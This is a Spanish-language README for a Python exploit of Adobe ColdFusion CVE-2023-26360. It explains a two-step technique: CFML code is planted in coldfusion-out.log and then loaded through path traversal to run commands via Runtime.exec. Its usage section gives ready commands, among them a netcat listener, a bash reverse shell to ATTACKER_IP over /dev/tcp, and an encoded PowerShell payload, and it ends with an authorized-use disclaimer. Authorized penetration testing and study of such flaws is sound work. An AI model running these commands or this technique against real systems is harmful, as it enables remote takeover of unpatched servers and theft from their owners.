
Este exploit se basa en CVE-2023-26360 (https://nvd.nist.gov/vuln/detail/CVE-2023-26360) y fue construido sobre el módulo de Metasploit y el jakabakos/CVE-2023-26360-adobe-coldfusion-rce-exploit.
Implementación en Python del exploit de ejecución remota de código para CVE-2023-26360, basada en el análisis del módulo original de Metasploit y del trabajo previo de jakabakos.
El PoC de jakabakos intenta inyectar <cfexecute> directamente en el parámetro _variables y leer la salida del log de ColdFusion en un solo paso. Este enfoque falla porque ColdFusion no evalúa las etiquetas CFML en línea en ese contexto, lo que da como resultado un error 500 sin ejecución de código.
Esta implementación replica el mecanismo correcto de dos pasos utilizado por el módulo de Metasploit:
_variables malformado ({<cftry>CFML</cftry>) al endpoint CFC vulnerable. ColdFusion no puede analizarlo y escribe el contenido bruto — incluido el código CFML — en coldfusion-out.log.La ejecución de comandos se realiza mediante java.lang.Runtime.exec() a través de createObject, evitando cualquier dependencia de <cfexecute>, que normalmente está deshabilitado en entornos endurecidos o de producción.
pip install -r requirements.txt
Inicie un listener antes de ejecutar el exploit:
nc -lvnp 4444
Objetivo Windows:
python exploit.py --host http://TARGET:8500 --win --cmd "powershell -e <BASE64_PAYLOAD>"
Objetivo Linux:
python exploit.py --host http://TARGET:8500 --cmd "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
A través de un proxy (p. ej. Burp Suite):
python exploit.py --host http://TARGET:8500 --win --cmd "whoami" --proxy http://127.0.0.1:8080
| Flag | Descripción |
|---|---|
┌─────────────┐ Step 1: plant CFML ┌──────────────────┐
│ Attacker │ ──── POST /_variables={<cftry>... ──► iedit.cfc │
│ │ CF fails to parse, logs CFML │ │
│ │ │ coldfusion- │
│ │ Step 2: trigger execution │ out.log │
│ │ ──── POST classname=X..\logs\cf... ──► (loaded as │
│ │ │ CFML template) │
│ Listener │ ◄─────────────── reverse shell ───────│ │
└─────────────┘ └──────────────────┘
Esta herramienta se proporciona únicamente con fines educativos y para evaluaciones de seguridad autorizadas (pruebas de penetración, CTFs, entornos de laboratorio). Ejecutar este exploit contra sistemas sin permiso escrito explícito es ilegal. El autor no asume ninguna responsabilidad por el mal uso.
--host |
URL base del objetivo (p. ej. http://192.168.1.10:8500) |
--cmd | Comando a ejecutar en el objetivo |
--win | Active esta opción si el objetivo es un host Windows |
--proxy | URL del proxy HTTP (opcional) |